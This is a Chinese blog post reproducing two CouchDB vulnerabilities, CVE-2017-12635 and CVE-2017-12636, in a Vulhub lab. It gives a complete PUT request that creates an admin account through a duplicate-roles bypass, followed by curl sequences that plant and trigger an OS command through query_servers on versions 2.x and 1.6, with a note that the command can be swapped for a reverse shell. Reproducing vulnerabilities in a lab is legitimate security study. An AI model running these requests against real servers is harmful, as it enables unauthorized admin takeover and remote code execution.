首页 > 其他分享 >CouchDB 漏洞复现 CVE-2017-12635/12636

CouchDB 漏洞复现 CVE-2017-12635/12636

时间:2023-02-21 16:04:50浏览次数:42  
标签:http CouchDB 5984 12635 192.168 liangban 12636 PUT 52.128

前言

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation  (JSON) API  访问。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

影响版本:

小于 1.7.0 以及小于 2.1.1

漏洞复现

环境搭建

使用Vulhub的漏洞平台进行复现

CouchDB 漏洞复现 CVE-2017-12635/12636_exp获取

​docker-compose up -d​

CouchDB 漏洞复现 CVE-2017-12635/12636_CVE漏洞复现_02

访问http://192.168.52.128:5984/_utils/#login出现如下页面搭建成功

CouchDB 漏洞复现 CVE-2017-12635/12636_exp获取_03

测试过程

CVE-2017-12635

构造创建账户的PUT包

PUT /_users/org.couchdb.user:liangban HTTP/1.1
Host: www.0-sec.org:5984
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 104

{
"type": "user",
"name": "liangban",
"roles": ["_admin"],
"password": "liangban"
}

CouchDB 漏洞复现 CVE-2017-12635/12636_网络安全_04

我们没有admin权限,所以报错forbidden显示只有管理员才能设置Role角色。

绕过role验证:发送包含两个roles的数据包,即可绕过限制

在原先的包中加入 "roles":[],

CouchDB 漏洞复现 CVE-2017-12635/12636_漏洞联合利用_05

返回如图所示即成功创建用户

尝试使用liangban/liangban登录:

CouchDB 漏洞复现 CVE-2017-12635/12636_CVE漏洞复现_06

成功登录,且为管理员账户

CVE-2017-12636

该漏洞利用条件需要登录管理员用户触发,可使用上面介绍的CVE-2017-12635搭配利用

由于Couchdb 2.x和和1.x的的API接口有所差别,导致利用方式也不同,这里直接拿刚刚复现的CVE-2017-12635环境,演示2.x版本

Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name,带上账号密码访问​​/_membership​​获取node名称:

其中liangban:liangban为管理员的账户密码

​curl http://liangban:[email protected]:5984/_membership​

CouchDB 漏洞复现 CVE-2017-12635/12636_exp获取_07

这里只有一个node,为:nonode@nohost

修改​​nonode@nohost​​​的配置,其中​​id >/tmp/success​​是要执行的命令,可以更换为弹shell

curl -X PUT http://liangban:[email protected]:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

CouchDB 漏洞复现 CVE-2017-12635/12636_网络安全_08

请求添加一个名为zhuAn的Database,以便在里面执行查询

​curl -X PUT 'http://liangban:[email protected]:5984/zhuan'​

CouchDB 漏洞复现 CVE-2017-12635/12636_CouchDB漏洞_09

请求添加一个名为test的Document,以便在里面执行查询

​curl -X PUT 'http://liangban:[email protected]:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'​

CouchDB 漏洞复现 CVE-2017-12635/12636_漏洞联合利用_10

Couchdb 2.x删除了​​_temp_view​​​,所以我们为了触发​​query_servers​​​中定义的命令,需要添加一个​​_view​​:

​curl -X PUT http://liangban:[email protected]:5984/zhuan/_design/test -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"​

CouchDB 漏洞复现 CVE-2017-12635/12636_exp获取_11

增加​​_view​​​的同时即触发了​​query_servers​​中的命令。

看到返回错误信息没有关系,报错来源于执行命令之后的流程

加入靶机的docker查看发现命令执行成功,成功写入success文件

CouchDB 漏洞复现 CVE-2017-12635/12636_CouchDB漏洞_12


1.6.0系列

​curl -X PUT 'http://liangban:[email protected]:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'​

​curl -X PUT 'http://liangban:[email protected]:5984/zhuan'​

​curl -X PUT 'http://liangban:[email protected]:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'​

​curl -X POST 'http://liangban:[email protected]:5984/zhuan/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'​

exp

要替换对应的网址,端口,监听ip,对应版本,1.x和2.x的payload不一致。

​python3 exp.py​

CouchDB 漏洞复现 CVE-2017-12635/12636_CouchDB漏洞_13

CouchDB 漏洞复现 CVE-2017-12635/12636_CouchDB漏洞_14

exp文件私信公众号 CVE-2017-12636 获取

原文转载自,助安社区(https://secself.com/)

关注公众号【助安社区】网络安全零基础到入门都在这,社区内部红队沙龙、资源共享和大厂工作经验。真正热爱安全和喜欢技术交流的小伙伴欢迎加入我们。

CouchDB 漏洞复现 CVE-2017-12635/12636_网络安全_15

标签:http,CouchDB,5984,12635,192.168,liangban,12636,PUT,52.128
From: https://blog.51cto.com/u_15892398/6076652

相关文章

  • CouchDB
    前言CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTfulJavaScriptObjectNotation(JSON)API访问。CVE-2017-12635是由于Erlang和JavaScript对JSON解析......
  • Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
    ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。......